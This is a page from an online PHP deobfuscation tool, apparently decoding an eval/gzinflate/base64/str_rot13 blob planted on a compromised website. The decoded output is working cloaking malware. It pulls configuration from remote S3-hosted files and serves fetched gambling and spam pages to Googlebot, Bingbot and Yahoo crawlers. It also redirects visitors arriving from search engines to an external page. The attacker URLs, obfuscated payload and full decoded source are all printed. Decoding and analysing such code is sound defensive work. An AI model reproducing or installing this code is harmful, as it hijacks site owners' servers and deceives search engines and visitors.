Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode( str_rot13('5Iqqo9gHTY7CemvAbgahJdsq6NFAbdcf3ybc7GLazEuYfH7f..

Decoded Output download

set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");

define('URI', $_SERVER['REQUEST_URI']);

//  ****
function fetchRemoteContent($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $result = curl_exec($ch);
        curl_close($ch);

        if ($result === false || empty(trim($result))) {
            return false; // 
        }
        return trim($result); // 
    } else {
        $result = file_get_contents($url);
        return $result ? trim($result) : false;
    }
}

$remoteHostUrl = 'https://5useo.s3.sa-east-1.amazonaws.com/js/faapi.txt';  // 
$remoteHost = fetchRemoteContent($remoteHostUrl);

$defaultHostEncoded = 'aHR0cHM6Ly9mYS5iZXQ2a3Nlby5jb20v'; // 

if ($remoteHost) {
    $decodedHost = base64_decode($remoteHost);
    if (filter_var($decodedHost, FILTER_VALIDATE_URL)) {
        define('host', $decodedHost);
    } else {
        define('host', base64_decode($defaultHostEncoded));
    }
} else {
    define('host', base64_decode($defaultHostEncoded));
}

$remoteMuluUrl = 'https://5useo.s3.sa-east-1.amazonaws.com/js/mulu.txt';
$remoteMulu = fetchRemoteContent($remoteMuluUrl);

if ($remoteMulu && preg_match('/^[\w|.\-\(\)\?\!\:\[\]]+$/', $remoteMulu)) {
    define('MULU', $remoteMulu);
} else {
    define('MULU', 'app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|data|-\d(?!\d)');
}

function isEngines($key){
    return stristr($key, 'Googlebot') !== false || stristr($key, 'Bingbot') !== false || stristr($key, 'Yahoo!') !== false;
}

function isIncludes(){
    $re = 0;
    $temp = explode('|', MULU);
    foreach($temp as $v){
        if(preg_match('/' . $v . '/', URI)){
            $re = 1;
        }
    }
    return $re;
}

function isRef($ref){
    return stristr($ref, 'google') !== false || stristr($ref, 'bing') !== false || stristr($ref, 'yahoo') !== false;
}

function getContents($url){
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $result = curl_exec($ch);
        curl_close($ch);
        if($result == NULL){
            return file_get_contents($url);
        }
        return $result;
    } else {
        return file_get_contents($url);
    }
}

$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];

if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if(isIncludes()){
        echo getContents(host."?xhost=".$ym.'&reurl='.URI.'&ua=Googlebot'.'&f=google');
        exit;
    } else {
        echo file_get_contents("https://jsc.hhvipcdn.com/index.php");
    }
} else {
    if(isIncludes() && isRef($ref)){
        header("Location: https://5useo.s3.sa-east-1.amazonaws.com/tz/fa.html");    // 
        exit;
    }  
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode(
str_rot13('5Iqqo9gHTY7CemvAbgahJdsq6NFAbdcf3ybc7GLazEuYfH7fx8Fo42CMW02lhqWNjRPVwtfLLhjPNMfTTePWFLIAMK+TcA3S/tCi8HsdcN0eR+VTF0axp97C5/2ZE5wTmPoEYYAcZaSTldJV61WKp4yQKJon9rPfDoOOKQS9xgdZ2Tl61UKVCTXxj7VA1eElrtB7UzU5SdgAi54TucEOndMAEXTfYtgGXXZISsJPby4FIBI8JFzJAU6+ktzmJsGvz+0Kwm9Qx5CCe9/r+sm+7eZ7B/p/6K34Dr/a33p3g3b3o/IhoCr/rQt5znd1oW2M1RL1jiFTFcdHxptzZqAlYDyqFlS4mObFL1dAqRlCrnXtN4Sz2vLGcWvBCkz9tsWbpPzPHsSIpNu+HDsR640cqYXfSf6r49LKjPzh8OQRdyVdd6fyqKT1rScEc9QfLMvXkLVTtP2siauB4Hj1oUaxamRhaF2J9wAzKBX1YOn7GQcR5jWTErfJ9Hu0ZowufN748/yDAiW9EWbB64eZAMikiGFRZK9pjydhUsYxRVD9vh33w3Ls3+1/qBiC357f/COxjYXETzRpxu4V6T0+7J9+/Cmreq7QC4O156ig3x9s7wl4S3OhVZXAh3nN4mKGVybqZy8CH8pGE0VMnLj5SbM1b/aVvIOCnvBItvhrvxiHL2KKNuIPtmUUz89z51brboW3KCojAZRrz56IpEAscGMhr7WBz9aYKenTfJCXeZBRUBW+Co9msssrh/2ia/H//Ko3kb+9eHp7g98CdlYRYXzC+3ANZDjMkTBLtLeRLQ4/HzlqTfGtqhVyqHMsJwyE6Y7EiSvpZ99+6/jksUmIdaoaYyrCmnjYhsRJ/oYIs/Ers/Ah7+M3dIFHT7UJBCdtAgNIzIeSUwakzuLrQgUa9teKgOukgKKfvxahXKE6hIOFIB3PLzU51TWW4IH4yTIkm2xNAJ86PrMV/Y6xTTRMZJ8/MWV0vUcF1XhV2HhoyMoIrbJ0nDWozQIWDK+oQ5Rzat+WrNIfE44tklI1eLzOJEFl71ldgU25Zy0EX1WybGWEzn9pddlgUp1xBoE7wVZVkOvfyNiyRMYpjJuSyNW2UA+xab9gj6Jz4Eh0oIfHT37IjiLIi0dLe2CCgXysk03v+L6Sh/66nEQdB/DXpK2KHhoocB35OzoLa64L4fWRkMPRRBoO1QN9kn6Qnvw4X6DeuqMRkr5OwpZahNTomyOng0vIjeONR8yJA0Y3WbmVy1AqkN1XW5WRb4Lg27eIZfPllPdNQlV5R2MouxTQuIsFpFlrHLVCfUU0bzlfHMqtvScVum2HJMrhWod2BOEMNpyNNS8PQlHZLxxn7gFu7gapFP/rFN33kyRKISYwTIHotlipNOY1NArkpVIRIDQ1WFEqwhu4DXT7akkd7i/EKtOemhVMMEKzoadSKwHgP2sa5OxxDfx6zWyIP0osVYJlk+GMUQeXnk5Xig1hllR6DLUQipk3Xla9el8xF8evXo5GmCjigcqRTrmgYzv1KPuVOl8bY9fBAfofPJATmTURkxgRQEjo7ZeccIYcUBNCfPgdrt26CQFG/DD857Dt6DXnowAWVtDxURguYJe6V00jGiybkErTIijkT74jzAMvfaZy8PE6tj4IVM+Zpaduj3/mnEaZyVHwYtRV8bVZCDwrJwv/13KuiMnCz8Hr9yPm43NBIB5UBE2C1ZhrYwpn66nwT3MDLnMgxV7fAWm0jHA9kQf+VEAAYhSf/B+bDUKZB8f8BiDLM1qu+jidUVmtffLhJ1h/7z4/BONUOZamSj==')
)));

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 87c670fc3300a2efc5a4c1a074bcb12c
Eval Count 1
Decode Time 45 ms